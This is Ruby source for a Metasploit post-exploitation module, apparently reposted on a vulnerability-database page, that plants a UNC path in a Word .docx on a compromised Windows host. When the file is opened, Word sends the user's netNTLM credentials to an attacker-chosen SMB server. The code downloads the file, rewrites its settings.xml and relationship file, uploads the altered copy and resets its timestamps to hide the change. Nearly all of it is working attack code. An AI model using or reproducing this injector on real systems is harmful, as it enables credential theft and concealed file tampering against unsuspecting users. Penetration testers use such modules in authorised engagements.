##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Gems
#
# for extracting files
require 'zip'
#
# Project
#
# for creating files
require 'rex/zip'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Microsoft Office Word UNC Path Injector',
'Description' => %q{
This module modifies a remote .docx file that will, upon opening, submit
stored netNTLM credentials to a remote host. Verified to work with Microsoft
Word 2003, 2007, 2010, and 2013. In order to get the hashes the
auxiliary/server/capture/smb module can be used.
},
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'SphaZ <cyberphaz[at]gmail.com>'
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
priv_fs_get_file_mace
priv_fs_set_file_mace
]
}
}
)
)
register_options(
[
OptAddress.new('SMBHOST', [true, 'Server IP or hostname that the .docx document points to']),
OptString.new('FILE', [true, 'Remote file to inject UNC path into. ']),
OptBool.new('BACKUP', [true, 'Make local backup of remote file.', true]),
]
)
end
# Store MACE values so we can set them later again.
def get_mace
begin
mace = session.priv.fs.get_file_mace(datastore['FILE'])
vprint_status('Got file MACE attributes!')
rescue StandardError
print_error("Error getting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
end
return mace
end
# here we unzip into memory, inject our UNC path, store it in a temp file and
# return the modified zipfile name for upload
def manipulate_file(zipfile)
ref = '<w:attachedTemplate r:id="rId1"/>'
rels_file_data = ''
rels_file_data << '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
rels_file_data << '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
rels_file_data << '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/'
rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['SMBHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
zip_data = unzip_docx(zipfile)
if zip_data.nil?
return nil
end
# file to check for reference file we need
file_content = zip_data['word/settings.xml']
if file_content.nil?
print_error('Bad "word/settings.xml" file, check if it is a valid .docx.')
return nil
end
# if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
if !file_content.index('w:attachedTemplate r:id="rId1"').nil?
vprint_status('Reference to rels file already exists in settings file, we dont need to add it :)')
else
# now insert the reference to the file that will enable our malicious entry
insert_one = file_content.index('<w:defaultTabStop')
if insert_one.nil?
insert_two = file_content.index('<w:hyphenationZone') # 2nd choice
if !insert_two.nil?
vprint_status('HypenationZone found, we use this for insertion.')
file_content.insert(insert_two, ref)
end
else
vprint_status('DefaultTabStop found, we use this for insertion.')
file_content.insert(insert_one, ref)
end
if insert_one.nil? && insert_two.nil?
print_error('Cannot find insert point for reference into settings.xml')
return nil
end
# update the files that contain the injection and reference
zip_data['word/settings.xml'] = file_content
end
zip_data['word/_rels/settings.xml.rels'] = rels_file_data
return zip_docx(zip_data)
end
# RubyZip sometimes corrupts the document when manipulating inside a
# compressed document, so we extract it with Zip::File into memory
def unzip_docx(zipfile)
vprint_status("Extracting #{datastore['FILE']} into memory.")
zip_data = Hash.new
begin
Zip::File.open(zipfile) do |filezip|
filezip.each do |entry|
zip_data[entry.name] = filezip.read(entry)
end
end
rescue Zip::Error => e
print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.")
return nil
end
return zip_data
end
# making the actual docx
def zip_docx(zip_data)
docx = Rex::Zip::Archive.new
zip_data.each_pair do |k, v|
docx.add_file(k, v)
end
return docx.pack
end
# We try put the mace values back to that of the original file
def set_mace(mace)
if !mace.nil?
vprint_status("Setting MACE value of #{datastore['FILE']} set to that of the original file.")
begin
session.priv.fs.set_file_mace(datastore['FILE'], mace['Modified'], mace['Accessed'], mace['Created'], mace['Entry Modified'])
rescue StandardError
print_error("Error setting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
end
end
end
def rhost
client.sock.peerhost
end
def run
# sadly OptPath does not work, so we check manually if it exists
if !file_exist?(datastore['FILE'])
print_error('Remote file does not exist!')
return
end
# get mace values so we can put them back after uploading. We do this first, so we have the original
# accessed time too.
file_mace = get_mace
# download the remote file
print_status("Downloading remote file #{datastore['FILE']}.")
org_file_data = read_file(datastore['FILE'])
# store the original file because we need to unzip from disk because there is no memory unzip
if datastore['BACKUP']
# logs_dir = ::File.join(Msf::Config.local_directory, 'unc_injector_backup')
# FileUtils.mkdir_p(logs_dir)
# @org_file = logs_dir + File::Separator + datastore['FILE'].split('\\').last
@org_file = store_loot(
'host.word_unc_injector.changedfiles',
'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
rhost,
org_file_data,
datastore['FILE']
)
print_status("Local backup kept at #{@org_file}")
# Store information in note database so its obvious what we changed, were we stored the backup file..
note_string = "Remote file #{datastore['FILE']} contains UNC path to #{datastore['SMBHOST']}. "
note_string += " Local backup of file at #{@org_file}."
report_note(
host: session.session_host,
type: 'host.word_unc_injector.changedfiles',
data: {
session_num: session.sid,
stype: session.type,
desc: session.info,
platform: session.platform,
via_payload: session.via_payload,
via_exploit: session.via_exploit,
created_at: Time.now.utc,
files_changed: note_string
}
)
else
@org_file = Rex::Quickfile.new('msf_word_unc_injector')
end
vprint_status("Written remote file to #{@org_file}")
File.open(@org_file, 'wb') { |f| f.write(org_file_data) }
# Unzip, insert our UNC path, zip and return the data of the modified file for upload
injected_file = manipulate_file(@org_file)
if injected_file.nil?
return
end
# upload the injected file
write_file(datastore['FILE'], injected_file)
print_status('Uploaded injected file.')
# set mace values back to that of original
set_mace(file_mace)
# remove tmpfile if no backup is desired
if !datastore['BACKUP']
@org_file.close
begin
@org_file.unlink
rescue StandardError
nil
end
end
print_good("Done! Remote file #{datastore['FILE']} succesfully injected to point to #{datastore['SMBHOST']}")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation